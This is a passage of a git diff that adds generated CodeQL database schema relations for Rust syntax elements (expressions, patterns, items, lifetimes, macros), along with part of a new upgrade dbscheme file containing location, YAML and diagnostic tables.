+let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_call_expandeds( + int id: @macro_call ref, + int expanded: @ast_node ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/rust.dbscheme b/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/rust.dbscheme new file mode 100644 index 000000000000..f78cb8f2ab3b --- /dev/null +++ b/rust/ql/lib/upgrades/e8707b675dc574aca9863eabcc09ac76f15bb9c2/rust.dbscheme @@ -0,0 +1,3606 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @macro_stmts +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id] +crate_modules( + int id: @crate ref, + int module: @module ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| 